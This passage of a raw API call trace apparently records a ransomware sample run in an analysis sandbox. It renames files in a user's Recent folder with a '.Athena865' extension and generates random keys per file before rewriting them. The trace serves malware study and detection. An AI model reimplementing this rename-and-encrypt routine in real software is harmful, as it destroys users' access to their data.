hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.003] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.004] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wL8XfzGqjG.mkv.lnk" | out: lpString1="wL8XfzGqjG.mkv.lnk") returned="wL8XfzGqjG.mkv.lnk" [0053.004] lstrlenW (lpString="wL8XfzGqjG.mkv.lnk") returned 18 [0053.004] lstrlenW (lpString="Athena865") returned 9 [0053.004] lstrcmpiW (lpString1="G.mkv.lnk", lpString2="Athena865") returned 1 [0053.005] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\wL8XfzGqjG.mkv.lnk.Athena865") returned 82 [0053.005] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\wL8XfzGqjG.mkv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\wl8xfzgqjg.mkv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\wL8XfzGqjG.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\wl8xfzgqjg.mkv.lnk.athena865"), dwFlags=0x1) returned 1 [0053.006] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\wL8XfzGqjG.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\wl8xfzgqjg.mkv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.006] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=579) returned 1 [0053.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.007] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.007] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.007] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.008] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.008] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.008] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.009] lstrcpyW (in: lpString1=0x241e8b4, lpString2="WoRQ6o.lnk" | out: lpString1="WoRQ6o.lnk") returned="WoRQ6o.lnk" [0053.009] lstrlenW (lpString="WoRQ6o.lnk") returned 10 [0053.010] lstrlenW (lpString="Athena865") returned 9 [0053.010] lstrcmpiW (lpString1="oRQ6o.lnk", lpString2="Athena865") returned 1 [0053.010] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\WoRQ6o.lnk.Athena865") returned 74 [0053.010] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\WoRQ6o.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\worq6o.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\WoRQ6o.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\worq6o.lnk.athena865"), dwFlags=0x1) returned 1 [0053.011] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\WoRQ6o.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\worq6o.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.012] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5172) returned 1 [0053.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.012] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.013] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.013] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.013] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.014] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.014] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.015] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wQT5F9RHsIBdCm.lnk" | out: lpString1="wQT5F9RHsIBdCm.lnk") returned="wQT5F9RHsIBdCm.lnk" [0053.015] lstrlenW (lpString="wQT5F9RHsIBdCm.lnk") returned 18 [0053.015] lstrlenW (lpString="Athena865") returned 9 [0053.015] lstrcmpiW (lpString1="IBdCm.lnk", lpString2="Athena865") returned 1 [0053.015] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\wQT5F9RHsIBdCm.lnk.Athena865") returned 82 [0053.015] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\wQT5F9RHsIBdCm.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\wqt5f9rhsibdcm.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\wQT5F9RHsIBdCm.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\wqt5f9rhsibdcm.lnk.athena865"), dwFlags=0x1) returned 1 [0053.016] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\wQT5F9RHsIBdCm.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\wqt5f9rhsibdcm.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.016] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=599) returned 1 [0053.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.017] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.017] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.017] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.017] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.018] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.018] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.019] lstrcpyW (in: lpString1=0x241e8b4, lpString2="xGhL8-Dmnox.lnk" | out: lpString1="xGhL8-Dmnox.lnk") returned="xGhL8-Dmnox.lnk" [0053.019] lstrlenW (lpString="xGhL8-Dmnox.lnk") returned 15 [0053.019] lstrlenW (lpString="Athena865") returned 9 [0053.019] lstrcmpiW (lpString1="Dmnox.lnk", lpString2="Athena865") returned 1 [0053.019] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xGhL8-Dmnox.lnk.Athena865") returned 79 [0053.020] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xGhL8-Dmnox.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xghl8-dmnox.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xGhL8-Dmnox.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xghl8-dmnox.lnk.athena865"), dwFlags=0x1) returned 1 [0053.020] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xGhL8-Dmnox.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xghl8-dmnox.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.021] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5234) returned 1 [0053.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.021] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.022] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.022] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.022] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.023] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.023] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.024] lstrcpyW (in: lpString1=0x241e8b4, lpString2="xmamA.lnk" | out: lpString1="xmamA.lnk") returned="xmamA.lnk" [0053.024] lstrlenW (lpString="xmamA.lnk") returned 9 [0053.024] lstrlenW (lpString="Athena865") returned 9 [0053.024] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xmamA.lnk.Athena865") returned 73 [0053.024] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xmamA.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xmama.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xmamA.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xmama.lnk.athena865"), dwFlags=0x1) returned 1 [0053.025] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xmamA.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xmama.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.025] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3814) returned 1 [0053.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.026] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.026] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.026] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.027] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.028] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.028] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.029] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Xq4jS8elFnsM1RuTo.lnk" | out: lpString1="Xq4jS8elFnsM1RuTo.lnk") returned="Xq4jS8elFnsM1RuTo.lnk" [0053.029] lstrlenW (lpString="Xq4jS8elFnsM1RuTo.lnk") returned 21 [0053.029] lstrlenW (lpString="Athena865") returned 9 [0053.029] lstrcmpiW (lpString1="1RuTo.lnk", lpString2="Athena865") returned -1 [0053.029] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Xq4jS8elFnsM1RuTo.lnk.Athena865") returned 85 [0053.029] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Xq4jS8elFnsM1RuTo.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xq4js8elfnsm1ruto.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Xq4jS8elFnsM1RuTo.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xq4js8elfnsm1ruto.lnk.athena865"), dwFlags=0x1) returned 1 [0053.030] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Xq4jS8elFnsM1RuTo.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xq4js8elfnsm1ruto.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.030] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2499) returned 1 [0053.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.031] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.031] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.031] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.032] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.032] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.032] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.034] lstrcpyW (in: lpString1=0x241e8b4, lpString2="xqhOI7X.lnk" | out: lpString1="xqhOI7X.lnk") returned="xqhOI7X.lnk" [0053.034] lstrlenW (lpString="xqhOI7X.lnk") returned 11 [0053.034] lstrlenW (lpString="Athena865") returned 9 [0053.034] lstrcmpiW (lpString1="hOI7X.lnk", lpString2="Athena865") returned 1 [0053.034] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xqhOI7X.lnk.Athena865") returned 75 [0053.034] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xqhOI7X.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xqhoi7x.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xqhOI7X.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xqhoi7x.lnk.athena865"), dwFlags=0x1) returned 1 [0053.035] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xqhOI7X.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xqhoi7x.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.035] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4813) returned 1 [0053.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.035] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.036] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.036] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.037] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.037] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.037] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.039] lstrcpyW (in: lpString1=0x241e8b4, lpString2="xxMw5mqZO9zIei.ots.lnk" | out: lpString1="xxMw5mqZO9zIei.ots.lnk") returned="xxMw5mqZO9zIei.ots.lnk" [0053.039] lstrlenW (lpString="xxMw5mqZO9zIei.ots.lnk") returned 22 [0053.039] lstrlenW (lpString="Athena865") returned 9 [0053.039] lstrcmpiW (lpString1="i.ots.lnk", lpString2="Athena865") returned 1 [0053.039] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xxMw5mqZO9zIei.ots.lnk.Athena865") returned 86 [0053.039] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xxMw5mqZO9zIei.ots.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xxmw5mqzo9ziei.ots.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xxMw5mqZO9zIei.ots.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xxmw5mqzo9ziei.ots.lnk.athena865"), dwFlags=0x1) returned 1 [0053.040] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\xxMw5mqZO9zIei.ots.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\xxmw5mqzo9ziei.ots.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.040] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5087) returned 1 [0053.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.040] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.041] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.041] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.041] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.044] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.044] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.045] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Y-QNc48_tZcV5p.lnk" | out: lpString1="Y-QNc48_tZcV5p.lnk") returned="Y-QNc48_tZcV5p.lnk" [0053.045] lstrlenW (lpString="Y-QNc48_tZcV5p.lnk") returned 18 [0053.045] lstrlenW (lpString="Athena865") returned 9 [0053.045] lstrcmpiW (lpString1="ZcV5p.lnk", lpString2="Athena865") returned 1 [0053.045] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Y-QNc48_tZcV5p.lnk.Athena865") returned 82 [0053.045] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Y-QNc48_tZcV5p.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\y-qnc48_tzcv5p.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Y-QNc48_tZcV5p.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\y-qnc48_tzcv5p.lnk.athena865"), dwFlags=0x1) returned 1 [0053.046] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Y-QNc48_tZcV5p.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\y-qnc48_tzcv5p.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.046] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1035) returned 1 [0053.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.046] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.047] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.047] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.047] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.048] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.048] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.049] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Ya3k0m2vT.lnk" | out: lpString1="Ya3k0m2vT.lnk") returned="Ya3k0m2vT.lnk" [0053.049] lstrlenW (lpString="Ya3k0m2vT.lnk") returned 13 [0053.049] lstrlenW (lpString="Athena865") returned 9 [0053.049] lstrcmpiW (lpString1="0m2vT.lnk", lpString2="Athena865") returned -1 [0053.049] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Ya3k0m2vT.lnk.Athena865") returned 77 [0053.050] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Ya3k0m2vT.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ya3k0m2vt.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Ya3k0m2vT.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ya3k0m2vt.lnk.athena865"), dwFlags=0x1) returned 1 [0053.050] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Ya3k0m2vT.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ya3k0m2vt.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.051] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2572) returned 1 [0053.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.051] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.052] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.052] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.052] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.053] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.053] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.056] lstrcpyW (in: lpString1=0x241e8b4, lpString2="ycRhOOUrcEF.lnk" | out: lpString1="ycRhOOUrcEF.lnk") returned="ycRhOOUrcEF.lnk" [0053.056] lstrlenW (lpString="ycRhOOUrcEF.lnk") returned 15 [0053.056] lstrlenW (lpString="Athena865") returned 9 [0053.056] lstrcmpiW (lpString1="UrcEF.lnk", lpString2="Athena865") returned 1 [0053.056] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and 